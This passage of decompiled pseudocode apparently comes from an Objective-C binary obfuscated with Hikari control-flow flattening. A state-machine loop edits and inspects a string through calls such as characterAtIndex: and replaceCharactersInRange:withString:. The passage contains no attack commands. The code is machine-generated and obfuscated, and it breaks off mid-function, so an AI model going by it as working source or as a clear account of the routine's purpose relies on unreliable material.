__int64 v49; // [rsp+A8h] [rbp-D8h]
const char *v50; // [rsp+B0h] [rbp-D0h]
__int64 v51; // [rsp+B8h] [rbp-C8h]
__int64 v52; // [rsp+C0h] [rbp-C0h]
__int64 v53; // [rsp+C8h] [rbp-B8h]
__int64 v54; // [rsp+D0h] [rbp-B0h]
__int64 v55; // [rsp+D8h] [rbp-A8h]
__int64 v56; // [rsp+E0h] [rbp-A0h]
int v57; // [rsp+E8h] [rbp-98h]
int v58; // [rsp+ECh] [rbp-94h] BYREF
__int64 v59; // [rsp+F0h] [rbp-90h]
__int64 v60; // [rsp+F8h] [rbp-88h]
__int64 v61; // [rsp+100h] [rbp-80h]
__int64 v62; // [rsp+108h] [rbp-78h]
__int64 v63; // [rsp+110h] [rbp-70h]
__int64 v64; // [rsp+118h] [rbp-68h]
SEL v65; // [rsp+120h] [rbp-60h]
unsigned __int64 v66; // [rsp+128h] [rbp-58h]
bool v67; // [rsp+131h] [rbp-4Fh]
char v68; // [rsp+132h] [rbp-4Eh]
bool v69; // [rsp+133h] [rbp-4Dh]
bool v70; // [rsp+134h] [rbp-4Ch]
bool v71; // [rsp+135h] [rbp-4Bh]
bool v72; // [rsp+136h] [rbp-4Ah]
bool v73; // [rsp+137h] [rbp-49h]
bool v74; // [rsp+138h] [rbp-48h]
bool v75; // [rsp+139h] [rbp-47h]
bool v76; // [rsp+13Ah] [rbp-46h]
bool v77; // [rsp+13Bh] [rbp-45h]
bool v78; // [rsp+13Ch] [rbp-44h]
bool v79; // [rsp+13Dh] [rbp-43h]
bool v80; // [rsp+13Eh] [rbp-42h]
bool v81; // [rsp+13Fh] [rbp-41h]
bool v82; // [rsp+140h] [rbp-40h]
bool v83; // [rsp+141h] [rbp-3Fh]
bool v84; // [rsp+142h] [rbp-3Eh]
bool v85; // [rsp+143h] [rbp-3Dh]
bool v86; // [rsp+144h] [rbp-3Ch]
bool v87; // [rsp+145h] [rbp-3Bh]
unsigned __int16 v88; // [rsp+146h] [rbp-3Ah]
char v89; // [rsp+149h] [rbp-37h]
unsigned __int16 v90; // [rsp+14Ah] [rbp-36h]
unsigned __int16 v91; // [rsp+14Ch] [rbp-34h]
unsigned __int16 v92; // [rsp+14Eh] [rbp-32h]
int *v93; // [rsp+150h] [rbp-30h]
v57 = dword_10029F624;
v58 = 898103707;
v93 = &v58;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v58;
if ( v58 <= 9713652 )
break;
if ( v58 > 1108205795 )
{
if ( v58 <= 1560043694 )
{
if ( v58 <= 1315659297 )
{
if ( v58 > 1237527816 )
{
if ( v58 <= 1264913590 )
{
if ( v58 > 1245462754 )
{
if ( v58 == 1245462755 )
{
*v93 = 895011286;
}
else if ( v58 == 1247674157 )
{
v84 = v49 == v36;
v5 = 1;
v3 = 1127213940;
v6 = -647204408;
goto LABEL_760;
}
}
else
{
if ( v58 == 1237527817 )
{
v5 = 1;
v3 = -1590039747;
v6 = 677829923;
goto LABEL_760;
}
if ( v58 == 1238176241 )
{
v5 = 0;
v3 = -1875623095;
v6 = -2063925893;
goto LABEL_760;
}
}
}
else if ( v58 <= 1278919558 )
{
if ( v58 == 1264913591 )
{
v9 = v91 == 66;
goto LABEL_604;
}
if ( v58 == 1277737329 )
{
v61 = v53;
v5 = 0;
v3 = -2017303567;
v6 = 1343112916;
goto LABEL_760;
}
}
else
{
switch ( v58 )
{
case 1278919559:
*v93 = 1133866167;
break;
case 1307503170:
v2 = 1;
v48 = "replaceCharactersInRange:withString:";
v3 = -2043198723;
v4 = -1732163268;
goto LABEL_764;
case 1310849215:
v5 = 0;
v3 = 1807215639;
LABEL_752:
v6 = -713567816;
goto LABEL_760;
}
}
}
else if ( v58 <= 1145854016 )
{
if ( v58 > 1127213939 )
{
if ( v58 == 1127213940 )
{
*v93 = 1247674157;
}
else if ( v58 == 1133866167 )
{
v2 = 0;
v3 = 348133515;
v4 = -461303105;
goto LABEL_764;
}
}
else
{
if ( v58 == 1108205796 )
{
v9 = v92 == 69;
goto LABEL_718;
}
if ( v58 == 1108911658 )
*v93 = 1677989768;
}
}
else if ( v58 <= 1170783378 )
{
if ( v58 == 1145854017 )
{
v21 = 1499502615;
if ( v86 )
v21 = 203156391;
*v93 = v21;
v59 = v62;
}
else if ( v58 == 1161448394 )
{
v2 = 0;
v3 = -720371649;
v4 = -1159089911;
goto LABEL_764;
}
}
else
{
switch ( v58 )
{
case 1170783379:
*v93 = 926964128;
break;
case 1201277248:
*v93 = 408195023;
break;
case 1209921633:
v2 = 0;
v3 = 1127213940;
v4 = 1247674157;
goto LABEL_764;
}
}
}
else if ( v58 <= 1464740281 )
{
if ( v58 <= 1385611402 )
{
if ( v58 > 1351358712 )
{
if ( v58 == 1351358713 )
{
*v93 = 508756203;
}
else if ( v58 == 1367297082 )
{
v2 = 1;
v3 = -860181376;
v4 = 331963886;
goto LABEL_764;
}
}
else if ( v58 == 1315659298 )
{
*v93 = -2142376001;
}
else if ( v58 == 1343112916 )
{
HikariFunctionWrapper_19121(a1, v65);
*v93 = -2017303567;
}
}
else if ( v58 <= 1437219591 )
{
if ( v58 == 1385611403 )
{
*v93 = 1237527817;
}
else if ( v58 == 1406315096 )
{
v2 = 1;
v3 = -1148965765;
v4 = 66815392;
goto LABEL_764;
}
}
else
{
switch ( v58 )
{
case 1437219592:
v47 = "characterAtIndex:";
*v93 = 1762596453;
break;
case 1443102296:
v79 = (unsigned __int16)HikariFunctionWrapper_19109(a1, v42) == 65;
v5 = 1;
v3 = -259431799;
v6 = -1140328837;
goto LABEL_760;
case 1443209116:
v7 = 0;
v3 = 2034211932;
v8 = 397955257;
goto LABEL_712;
}
}
}
else if ( v58 > 1499502614 )
{
if ( v58 <= 1528651143 )
{
if ( v58 == 1499502615 )
{
objc_msgSend(a1, "replaceCharactersInRange:withString:", v59, 1, CFSTR("\xCD\xDF"));
*v93 = -765531218;
}
else if ( v58 == 1512956249 )
{
*v93 = -1889410993;
}
}
else
{
switch ( v58 )
{
case 1528651144:
v20 = 101578682;
if ( v74 )
v20 = -1307816413;
*v93 = v20;
v52 = v40;
break;
case 1540218588:
*v93 = 920043355;
break;
case 1549912878:
v9 = v91 == 81;
LABEL_604:
v3 = -1787459114;
v13 = 920738550;
goto LABEL_756;
}
}
}
else if ( v58 <= 1473666179 )
{
if ( v58 == 1464740282 )
{
v5 = 1;
v3 = 1735029895;
v6 = 1499395433;
goto LABEL_760;
}
if ( v58 == 1472069192 )
{
objc_msgSend(a1, v48, v64, 1, CFSTR("\xCD\xDF"));
*v93 = 1659947757;
}
}
else
{
switch ( v58 )
{
case 1473666180:
v19 = v66;
if ( v66 >= 0x1C )
v19 = 28;
v7 = 0;
v35 = v19;
v3 = 603337217;
v8 = -1570905913;
goto LABEL_712;
case 1493257898:
*v93 = 537400743;
break;
case 1499395433:
v7 = !v67;
v3 = -1489563350;
v8 = -1334131694;
goto LABEL_712;
}
}
}
else if ( v58 > 1785255647 )
{
if ( v58 <= 1897424048 )
{
if ( v58 <= 1839863821 )
{
if ( v58 > 1807215638 )
{
if ( v58 == 1807215639 )
{
v5 = 0;
v42 = "characterAtIndex:";
v3 = -2068247500;
goto LABEL_752;
}
if ( v58 == 1809712504 )
{
v2 = 0;
v3 = 603337217;
v4 = 1473666180;
goto LABEL_764;
}
}
else if ( v58 == 1785255648 )
{
*v93 = 805438564;
}
else if ( v58 == 1790483326 )
{
v9 = 0;
v3 = -499974438;
v13 = -169718402;
goto LABEL_756;
}
}
else if ( v58 <= 1878938527 )
{
if ( v58 == 1839863822 )
{
v10 = v90 == 66;
LABEL_639:
v24 = -765531218;
if ( v10 )
v24 = 1499502615;
*v93 = v24;
v59 = 55;
}
else if ( v58 == 1842220654 )
{
*v93 = 1045571477;
}
}
else
{
switch ( v58 )
{
case 1878938528:
*v93 = -268459862;
break;
case 1889183055:
v83 = (unsigned __int16)objc_msgSend(a1, v47, v64) == 65;
v5 = 0;
v3 = -2008277565;
v6 = 1889183055;
goto LABEL_760;
case 1896266090:
v7 = !v75;
v3 = -765531218;
v8 = -1801378721;
goto LABEL_712;
}
}
}
else if ( v58 > 2004691125 )
{
if ( v58 <= 2034211931 )
{
if ( v58 == 2004691126 )
{
v26 = (unsigned __int16)objc_msgSend(a1, v65, 6);
v5 = 1;
v91 = v26;
v3 = 2004691126;
v6 = 353753040;
goto LABEL_760;
}
if ( v58 == 2015439561 )
*v93 = -1130712365;
}
else
{
switch ( v58 )
{
case 2034211932:
*v93 = 1443209116;
break;
case 2055936846:
*v93 = 160533418;
break;
case 2138719897:
v9 = 0;
v38 = "characterAtIndex:";
v3 = 562118738;
v13 = 249661232;
goto LABEL_756;
}
}
}
else if ( v58 <= 1946751673 )
{
if ( v58 == 1897424049 )
{
objc_msgSend(a1, v43, v63, 1, CFSTR("\xCD\xDF"));
v5 = 0;
v3 = 981284620;
v6 = 1897424049;
goto LABEL_760;
}
if ( v58 == 1917616069 )
*v93 = -358256589;
}
else
{
switch ( v58 )
{
case 1946751674:
*v93 = -1179320779;
break;
case 1955079665:
v2 = 0;
v3 = 66815392;
v4 = 1406315096;
LABEL_764:
if ( !v2 )
v3 = v4;
goto LABEL_766;
case 1963613188:
objc_msgSend(a1, v39, 6, 1, CFSTR("\xCD\xDF"));
v2 = 1;
v3 = -1060346932;
v4 = -1791260243;
goto LABEL_764;
}
}
}
else if ( v58 <= 1677989767 )
{
if ( v58 <= 1635948737 )
{
if ( v58 > 1598408844 )
{
if ( v58 == 1598408845 )
{
HikariFunctionWrapper_19125(a1, v47);
*v93 = 1889183055;
}
else if ( v58 == 1614194160 )
{
HikariFunctionWrapper_19117(a1, v65);
*v93 = 2004691126;
}
}
else if ( v58 == 1560043695 )
{
*v93 = -1266883973;
}
else if ( v58 == 1593418280 )
{
v17 = (unsigned __int16)HikariFunctionWrapper_19111(a1, v45);
v2 = 1;
v92 = v17;
v3 = 1917616069;
v4 = 668921980;
goto LABEL_764;
}
}
else if ( v58 <= 1659947756 )
{
if ( v58 == 1635948738 )
{
v5 = 1;
v3 = 249661232;
v6 = 2138719897;
goto LABEL_760;
}
if ( v58 == 1659428883 )
{
v5 = 0;
v44 = v63 + 1;
v3 = 2055936846;
v6 = 1659428883;
goto LABEL_760;
}
}
else
{
switch ( v58 )
{
case 1659947757:
HikariFunctionWrapper_19113(a1, v48);
v2 = 0;
v3 = 1472069192;
v4 = 1946751674;
goto LABEL_764;
case 1665930724:
*v93 = 760923396;
break;
case 1670421201:
v2 = 1;
v3 = -468585746;
v4 = 4646700;
goto LABEL_764;
}
}
}
else if ( v58 > 1735029894 )
{
if ( v58 <= 1744669842 )
{
if ( v58 == 1735029895 )
{
*v93 = 1464740282;
}
else if ( v58 == 1743916031 )
{
objc_msgSend(a1, v34, v61, 1, CFSTR("\xCD\xDF"));
*v93 = -1718241258;
}
}
else
{
switch ( v58 )
{
case 1744669843:
v2 = 1;
v3 = -1540727781;
v4 = -320986763;
goto LABEL_764;
case 1745581837:
*v93 = -935660241;
break;
case 1762596453:
*v93 = 920043355;
break;
}
}
}
else if ( v58 <= 1718967838 )
{
if ( v58 == 1677989768 )
{
v74 = v40 == v31;
v5 = 0;
v3 = -150059921;
v6 = 1108911658;
goto LABEL_760;
}
if ( v58 == 1684713500 )
{
v7 = !v85;
v3 = -765531218;
v8 = -1716928760;
goto LABEL_712;
}
}
else
{
switch ( v58 )
{
case 1718967839:
*v93 = 796922081;
break;
case 1725441709:
v67 = v57 == 0;
v9 = 0;
v3 = 2015439561;
v13 = 1725441709;
goto LABEL_756;
case 1733608951:
HikariFunctionWrapper_19123(a1, v43);
*v93 = 1897424049;
break;
}
}
}
else if ( v58 <= 562872075 )
{
if ( v58 <= 331963885 )
{
if ( v58 > 226583214 )
{
if ( v58 <= 249661231 )
{
if ( v58 > 232806036 )
{
if ( v58 == 232806037 )
{
*v93 = -275230303;
}
else if ( v58 == 239385053 )
{
*v93 = -1254728268;
}
}
else if ( v58 == 226583215 )
{
*v93 = -1449029796;
v55 = 17;
}
else if ( v58 == 231562723 )
{
v72 = v66 >= 7;
v5 = 0;
v3 = 1512956249;
v6 = 231562723;
goto LABEL_760;
}
}
else if ( v58 <= 300110330 )
{
if ( v58 == 249661232 )
{
*v93 = 2138719897;
}
else if ( v58 == 294006285 )
{
v9 = 0;
v3 = -836051515;
v13 = 987809653;
goto LABEL_756;
}
}
else
{
switch ( v58 )
{
case 300110331:
v5 = 1;
v3 = -112702363;
v6 = -774286344;
goto LABEL_760;
case 300438137:
v7 = 0;
v3 = 300438137;
v8 = -864272821;
goto LABEL_712;
case 320323837:
v5 = 0;
v3 = 300438137;
v6 = -284465834;
goto LABEL_760;
}
}
}
else if ( v58 <= 101578681 )
{
if ( v58 > 66815391 )
{
if ( v58 == 66815392 )
{
*v93 = 1406315096;
}
else if ( v58 == 72532226 )
{
*v93 = 1659428883;
}
}
else if ( v58 == 9713653 )
{
*v93 = 1790483326;
}
else if ( v58 == 11674979 )
{
v5 = 0;
v3 = -2040070030;
v6 = -122663307;
goto LABEL_760;
}
}
else if ( v58 <= 160533417 )
{
if ( v58 == 101578682 )
{
v60 = v52;
v5 = 1;
v3 = -1430362391;
v6 = -1864374475;
goto LABEL_760;
}
if ( v58 == 139188614 )
{
v11 = (__int16)v90 < 69;
v3 = -735620570;
v12 = 1839863822;
goto LABEL_770;
}
}
else
{
switch ( v58 )
{
case 160533418:
v5 = 0;
v3 = -118742785;
v6 = -1745878785;
goto LABEL_760;
case 171463238:
v5 = 1;
v3 = 1842220654;
v6 = 1045571477;
goto LABEL_760;
case 203156391:
v5 = 0;
v3 = -1254728268;
v6 = 239385053;
goto LABEL_760;
}
}
}
else if ( v58 <= 480899405 )
{
if ( v58 <= 353753039 )
{
if ( v58 > 344114686 )
{
if ( v58 == 344114687 )
{
v9 = 0;
v3 = 1677989768;
v13 = 1108911658;
goto LABEL_756;
}
if ( v58 == 348133515 )
*v93 = -461303105;
}
else if ( v58 == 331963886 )
{
*v93 = -860181376;
}
else if ( v58 == 337383281 )
{
v15 = (unsigned __int16)HikariFunctionWrapper_19105(a1, v38);
v2 = 0;
v90 = v15;
v3 = 864503162;
v4 = -2035603955;
goto LABEL_764;
}
}
else if ( v58 <= 397955256 )
{
if ( v58 == 353753040 )
{
*v93 = -428201753;
}
else if ( v58 == 388660267 )
{
*v93 = -492228488;
}
}
else
{
switch ( v58 )
{
case 397955257:
*v93 = -1788729163;
v54 = 26;
break;
case 408195023:
v7 = 0;
v3 = -421477873;
v8 = 519260676;
goto LABEL_712;
case 449371101:
v2 = 1;
v3 = -1882472999;
goto LABEL_141;
}
}
}
else if ( v58 > 522936454 )
{
if ( v58 <= 535560607 )
{
if ( v58 == 522936455 )
{
v46 = "replaceCharactersInRange:withString:";
*v93 = 858729180;
}
else if ( v58 == 524619390 )
{
v11 = (__int16)v92 < 69;
v3 = -1808176612;
v12 = -485277653;
goto LABEL_770;
}
}
else
{
switch ( v58 )
{
case 535560608:
*v93 = -1261478217;
break;
case 537400743:
v89 = (~v68 | 0xEB) & (v68 | 0x14);
*v93 = 723030691;
break;
case 562118738:
*v93 = -138092027;
break;
}
}
}
else if ( v58 <= 508756202 )
{
if ( v58 == 480899406 )
{
*v93 = 1725441709;
}
else if ( v58 == 508493612 )
{
v65 = "characterAtIndex:";
*v93 = -240589057;
}
}
else
{
switch ( v58 )
{
case 508756203:
v2 = 0;
v3 = -670163750;
v4 = 1102802294;
goto LABEL_764;
case 513191299:
v43 = "replaceCharactersInRange:withString:";
*v93 = -1192141222;
break;
case 519260676:
v87 = v51 == v37;
v5 = 1;
v3 = -421477873;
v6 = 1878938528;
goto LABEL_760;
}
}
}
else if ( v58 > 895011285 )
{
if ( v58 <= 980253749 )
{
if ( v58 <= 920738549 )
{
if ( v58 > 918149685 )
{
if ( v58 == 918149686 )
{
objc_msgSend(a1, v32, v60, 1, CFSTR("\xCD\xDF"));
*v93 = 1010603602;
}
else if ( v58 == 920043355 )
{
*v93 = 226583215;
}
}
else if ( v58 == 895011286 )
{
v30 = -1788729163;
if ( v80 )
v30 = 508756203;
*v93 = v30;
v54 = v44;
}
else if ( v58 == 898103707 )
{
v5 = 1;
v3 = 480899406;
v6 = 1725441709;
goto LABEL_760;
}
}
else if ( v58 <= 929127164 )
{
if ( v58 == 920738550 )
{
v7 = 0;
v3 = -691677380;
v8 = -982426893;
goto LABEL_712;
}
if ( v58 == 926964128 )
{
v5 = 1;
v40 = v60 + 1;
v3 = 1170783379;
v6 = 562872076;
goto LABEL_760;
}
}
else
{
switch ( v58 )
{
case 929127165:
v2 = 0;
v3 = -639022836;
v4 = -1013296678;
goto LABEL_764;
case 956094920:
v7 = 0;
v3 = 72532226;
v8 = 1659428883;
LABEL_712:
if ( !v7 )
v3 = v8;
goto LABEL_766;
case 978523731:
v11 = (__int16)v91 < 81;
v3 = 1549912878;
v12 = 715701409;
goto LABEL_770;
}
}
}
else if ( v58 > 1045571476 )
{
if ( v58 <= 1076641608 )
{
if ( v58 == 1045571477 )
{
v71 = v66 >= 0x38;
v7 = 0;
v3 = 1842220654;
v8 = -1480062710;
goto LABEL_712;
}
if ( v58 == 1073025444 )
{
v62 = v56;
v7 = 0;
v3 = 1076641609;
v8 = -829928683;
goto LABEL_712;
}
}
else
{
switch ( v58 )
{
case 1076641609:
objc_msgSend(a1, v50, v62);
*v93 = -829928683;
break;
case 1087630238:
v11 = (__int16)v88 < 81;
v3 = -756260030;
v12 = -1863061538;
LABEL_770:
if ( v11 )
v3 = v12;
LABEL_766:
*v93 = v3;
break;
case 1102802294:
v81 = v66 >= 0x37;
v7 = 0;
v3 = -670163750;
v8 = -380810522;
goto LABEL_712;
}
}
}
else if ( v58 <= 987809652 )
{
if ( v58 == 980253750 )
{
v7 = !v81;
v3 = -2025010981;
v8 = -961180883;
goto LABEL_712;
}
if ( v58 == 981284620 )
*v93 = 294006285;
}
else
{
switch ( v58 )
{
case 987809653:
*v93 = -836051515;
break;
case 1010603602:
v5 = 0;
v3 = 1161448394;
v6 = -720371649;
LABEL_760:
if ( v5 )
v3 = v6;
goto LABEL_766;
case 1038331117:
v9 = v92 == 81;
goto LABEL_718;
}
}
}
else if ( v58 <= 723030690 )
{
if ( v58 <= 658212298 )
{
if ( v58 > 603337216 )
{
if ( v58 == 603337217 )
{
*v93 = 1473666180;
}
else if ( v58 == 634679242 )
{
*v93 = 232806037;
}
}
else if ( v58 == 562872076 )
{
*v93 = 344114687;
}
else if ( v58 == 583926059 )
{
v11 = (__int16)v91 < 69;
v3 = 978523731;
v12 = 1264913591;
goto LABEL_770;
}
}
else if ( v58 <= 677829922 )
{
if ( v58 == 658212299 )
{
v78 = v66 >= 0x1B;
v5 = 1;
v3 = 658212299;
v6 = 1665930724;
goto LABEL_760;
}
if ( v58 == 668921980 )
{
objc_msgSend(a1, v45, 54);
*v93 = 1593418280;
}
}
else
{
switch ( v58 )
{
case 677829923:
v23 = v66;
if ( v66 >= 0x13 )
v23 = 19;
v2 = 0;
v36 = v23;
v3 = 677829923;
v4 = -1675373641;
goto LABEL_764;
case 686164297:
v5 = 0;
v3 = -60115723;
v6 = 686164297;
goto LABEL_760;
case 715701409:
v9 = v91 == 69;
goto LABEL_604;
}
}
}
else if ( v58 > 796922080 )
{
if ( v58 <= 858729179 )
{
if ( v58 == 796922081 )
{
v5 = 0;
v3 = 1528651144;
v6 = 1718967839;
goto LABEL_760;
}
if ( v58 == 805438564 )
{
v7 = 0;
v3 = 668921980;
v8 = 1593418280;
goto LABEL_712;
}
}
else
{
switch ( v58 )
{
case 858729180:
v7 = 0;
v3 = -2078469848;
v8 = -1152326370;
goto LABEL_712;
case 864503162:
objc_msgSend(a1, v38, 55);
*v93 = 337383281;
break;
case 865014062:
*v93 = -1489563350;
break;
}
}
}
else if ( v58 <= 759355923 )
{
if ( v58 == 723030691 )
{
v2 = 1;
v3 = -1644982001;
v4 = -1527420572;
goto LABEL_764;
}
if ( v58 == 727178581 )
*v93 = 1659947757;
}
else
{
switch ( v58 )
{
case 759355924:
v7 = 0;
v3 = -602992905;
v8 = -81908045;
goto LABEL_712;
case 760923396:
v5 = 1;
v3 = 4646700;
v6 = 1670421201;
goto LABEL_760;
case 781271941:
*v93 = 1744669843;
break;
}
}
}
if ( v58 <= -1140328838 )
break;
if ( v58 <= -558374896 )
{
if ( v58 <= -774286345 )
{
if ( v58 > -961180884 )
{
if ( v58 <= -860181377 )
{
if ( v58 > -891383106 )
{
if ( v58 == -891383105 )
{
v5 = 0;
v3 = 658212299;
v6 = -1694241643;
goto LABEL_760;
}
if ( v58 == -864272821 )
{
*v93 = 1073025444;
v56 = 36;
}
}
else
{
if ( v58 == -961180883 )
{
v5 = 0;
v3 = -1300515445;
v6 = -1129340722;
goto LABEL_760;
}
if ( v58 == -935660241 )
{
v16 = v66;
if ( v66 >= 0xE )
v16 = 14;
v5 = 0;
v33 = v16;
v3 = -761024395;
v6 = 1745581837;
goto LABEL_760;
}
}
}
else if ( v58 <= -836051516 )
{
if ( v58 == -860181376 )
{
v7 = 0;
v34 = "replaceCharactersInRange:withString:";
v3 = -860181376;
v8 = -1573984217;
goto LABEL_712;
}
if ( v58 == -856824351 )
{
v9 = 0;
v3 = 1315659298;
v13 = -726494365;
goto LABEL_756;
}
}
else
{
switch ( v58 )
{
case -836051515:
v5 = 1;
v3 = -836051515;
v6 = 1351358713;
goto LABEL_760;
case -829928683:
v86 = (unsigned __int16)objc_msgSend(a1, v50, v62) == 65;
v2 = 1;
v3 = 1145854017;
v4 = 1076641609;
goto LABEL_764;
case -810511370:
v7 = !v76;
v3 = 929127165;
v8 = 1743916031;
goto LABEL_712;
}
}
}
else if ( v58 <= -1013296679 )
{
if ( v58 > -1129340723 )
{
if ( v58 == -1129340722 )
{
*v93 = -1300515445;
}
else if ( v58 == -1060346932 )
{
*v93 = -1993079971;
}
}
else
{
if ( v58 == -1140328837 )
{
v7 = !v79;
v3 = 513191299;
v8 = 956094920;
goto LABEL_712;
}
if ( v58 == -1130712365 )
{
v5 = 1;
v3 = 1735029895;
v6 = 1464740282;
goto LABEL_760;
}
}
}
else if ( v58 <= -990282959 )
{
if ( v58 == -1013296678 )
{
v7 = 0;
v41 = v61 + 1;
v3 = -1013296678;
v8 = -1562119616;
goto LABEL_712;
}
if ( v58 == -993450831 )
*v93 = -2121155224;
}
else
{
switch ( v58 )
{
case -990282958:
v7 = 0;
v3 = 1170783379;
v8 = 926964128;
goto LABEL_712;
case -984260150:
*v93 = 1684713500;
break;
case -982426893:
v7 = 0;
v39 = "replaceCharactersInRange:withString:";
v3 = -691677380;
v8 = -2095391031;
goto LABEL_712;
}
}
}
else if ( v58 <= -713567817 )
{
if ( v58 <= -756260031 )
{
if ( v58 > -761024396 )
{
if ( v58 == -761024395 )
{
*v93 = 1367297082;
}
else if ( v58 == -756336674 )
{
*v93 = 320323837;
}
}
else
{
if ( v58 == -774286344 )
{
v2 = 1;
v32 = "replaceCharactersInRange:withString:";
v3 = 9713653;
v4 = -112702363;
goto LABEL_764;
}
if ( v58 == -765531218 )
{
objc_release(a1);
*v93 = -2139323798;
}
}
}
else if ( v58 <= -726494366 )
{
if ( v58 == -756260030 )
{
v9 = v88 == 81;
LABEL_564:
v3 = -990282958;
v13 = 918149686;
LABEL_756:
if ( v9 )
v3 = v13;
goto LABEL_766;
}
if ( v58 == -735620570 )
{
v11 = (__int16)v90 < 81;
v3 = -1684308984;
v12 = -719537169;
goto LABEL_770;
}
}
else
{
switch ( v58 )
{
case -726494365:
*v93 = -856824351;
break;
case -720371649:
*v93 = 1161448394;
break;
case -719537169:
v10 = v90 == 69;
goto LABEL_639;
}
}
}
else if ( v58 > -647204409 )
{
if ( v58 <= -602992906 )
{
if ( v58 == -647204408 )
{
*v93 = -292728305;
}
else if ( v58 == -639022836 )
{
*v93 = -1013296678;
}
}
else
{
switch ( v58 )
{
case -602992905:
*v93 = 759355924;
break;
case -600694217:
v9 = 0;
v3 = 1443209116;
v13 = 2034211932;
goto LABEL_756;
case -567676204:
v9 = 0;
v3 = 1307503170;
v13 = -1732163268;
goto LABEL_756;
}
}
}
else if ( v58 <= -670163751 )
{
if ( v58 == -713567816 )
{
*v93 = 1807215639;
}
else if ( v58 == -691677380 )
{
*v93 = -982426893;
}
}
else
{
switch ( v58 )
{
case -670163750:
*v93 = 1102802294;
break;
case -654110671:
HikariFunctionWrapper_19115(a1, "rangeOfString:options:range:");
*v93 = -1436168010;
break;
case -653612891:
v2 = 1;
v3 = 1896266090;
v4 = -1936378773;
goto LABEL_764;
}
}
}
else if ( v58 > -242453658 )
{
if ( v58 <= -118742786 )
{
if ( v58 <= -157123443 )
{
if ( v58 > -216681970 )
{
if ( v58 == -216681969 )
{
v28 = v66;
if ( v66 >= 0x33 )
v28 = 51;
v31 = v28;
*v93 = 300110331;
}
else if ( v58 == -169718402 )
{
*v93 = -499974438;
}
}
else if ( v58 == -242453657 )
{
*v93 = 1087630238;
}
else if ( v58 == -240589057 )
{
v9 = 0;
v3 = 2004691126;
v13 = 1614194160;
goto LABEL_756;
}
}
else if ( v58 <= -138092028 )
{
if ( v58 == -157123442 )
{
*v93 = -333107536;
}
else if ( v58 == -150059921 )
{
*v93 = -1931031714;
}
}
else
{
switch ( v58 )
{
case -138092027:
v9 = 0;
v3 = 337383281;
v13 = 864503162;
goto LABEL_756;
case -137789724:
v7 = !v82;
v3 = -765531218;
v8 = 1237527817;
goto LABEL_712;
case -122663307:
*v93 = -2040070030;
break;
}
}
}
else if ( v58 > -61651328 )
{
if ( v58 <= -46070201 )
{
if ( v58 == -61651327 )
{
v2 = 0;
asc_10028AAF6[0] = 47;
asc_10028AAF6[1] = 47;
asc_10028AAF6[2] = 47;
asc_10028AAF6[3] = 47;
asc_10028AAF6[4] = 47;
asc_10028AAF6[5] = 0;
v68 = 85;
v3 = -1933656639;
v4 = 1493257898;
goto LABEL_764;
}
if ( v58 == -60115723 )
*v93 = 524619390;
}
else
{
switch ( v58 )
{
case -46070200:
*v93 = 139188614;
break;
case -17605101:
*v93 = 686164297;
break;
case 4646700:
*v93 = 1670421201;
break;
}
}
}
else if ( v58 <= -112702364 )
{
if ( v58 == -118742785 )
{
v80 = v44 == v35;
v5 = 1;
v3 = -118742785;
v6 = 1245462755;
goto LABEL_760;
}
if ( v58 == -115535850 )
{
v9 = 0;
v3 = 759355924;
v13 = -602992905;
goto LABEL_756;
}
}
else
{
switch ( v58 )
{
case -112702363:
*v93 = -774286344;
break;
case -81908045:
v29 = 1277737329;
if ( v77 )
v29 = 1809712504;
*v93 = v29;
v53 = v41;
break;
case -71550777:
v5 = 0;
v3 = 231562723;
v6 = -2035758850;
goto LABEL_760;
}
}
}
else if ( v58 <= -380810523 )
{
if ( v58 <= -472269109 )
{
if ( v58 > -492228489 )
{
if ( v58 == -492228488 )
{
objc_retain(a1);
v27 = objc_msgSend(a1, "length");
v69 = (unsigned __int64)v27 >= 0x16;
v66 = (unsigned __int64)v27;
*v93 = -1945451979;
}
else if ( v58 == -485277653 )
{
v9 = v92 == 66;
LABEL_718:
v3 = 1237527817;
v13 = 522936455;
goto LABEL_756;
}
}
else if ( v58 == -558374895 )
{
v49 = v64 + 1;
*v93 = 1209921633;
}
else if ( v58 == -499974438 )
{
v5 = 1;
v3 = -499974438;
v6 = -1903281617;
goto LABEL_760;
}
}
else if ( v58 <= -461303106 )
{
if ( v58 == -472269108 )
{
dword_10029F624 = 1;
*v93 = 388660267;
}
else if ( v58 == -468585746 )
{
v7 = !v78;
v3 = -2025010981;
v8 = 1310849215;
goto LABEL_712;
}
}
else
{
switch ( v58 )
{
case -461303105:
v5 = 1;
v50 = "characterAtIndex:";
v3 = -461303105;
v6 = -756336674;
goto LABEL_760;
case -428201753:
*v93 = 583926059;
break;
case -421477873:
*v93 = 519260676;
break;
}
}
}
else if ( v58 > -284465835 )
{
if ( v58 <= -268459863 )
{
if ( v58 == -284465834 )
{
*v93 = 300438137;
}
else if ( v58 == -275230303 )
{
v2 = 1;
v3 = -1436168010;
LABEL_669:
v4 = -654110671;
goto LABEL_764;
}
}
else
{
switch ( v58 )
{
case -268459862:
v25 = 1073025444;
if ( v87 )
v25 = -765531218;
*v93 = v25;
v56 = v51;
break;
case -259431799:
objc_msgSend(a1, v42, v63);
*v93 = 1443102296;
break;
case -256828149:
*v93 = -1903382678;
break;
}
}
}
else if ( v58 <= -333107537 )
{
if ( v58 == -380810522 )
{
*v93 = 980253750;
}
else if ( v58 == -358256589 )
{
v9 = 0;
v3 = 686164297;
v13 = -17605101;
goto LABEL_756;
}
}
else
{
switch ( v58 )
{
case -333107536:
v2 = 0;
v3 = -157123442;
v4 = -1382177586;
goto LABEL_764;
case -320986763:
*v93 = -1540727781;
break;
case -292728305:
v2 = 1;
v3 = 449371101;
LABEL_141:
v4 = -1167123421;
goto LABEL_764;
}
}
}
if ( v58 <= -1732163269 )
break;
if ( v58 <= -1480062711 )
{
if ( v58 > -1644982002 )
{
if ( v58 <= -1570905914 )
{
if ( v58 > -1590039748 )
{
if ( v58 == -1590039747 )
{
*v93 = 677829923;
}
else if ( v58 == -1573984217 )
{
*v93 = 1955079665;
}
}
else
{
if ( v58 == -1644982001 )
{
v5 = 0;
asc_10028255F[0] = v89;
asc_10028255F[1] = 0;
v3 = 865014062;
v6 = -1527420572;
goto LABEL_760;
}
if ( v58 == -1623295155 )
*v93 = -1210021003;
}
}
else if ( v58 <= -1540727782 )
{
if ( v58 == -1570905913 )
{
*v93 = -891383105;
}
else if ( v58 == -1562119616 )
{
*v93 = -1694242446;
}
}
else
{
switch ( v58 )
{
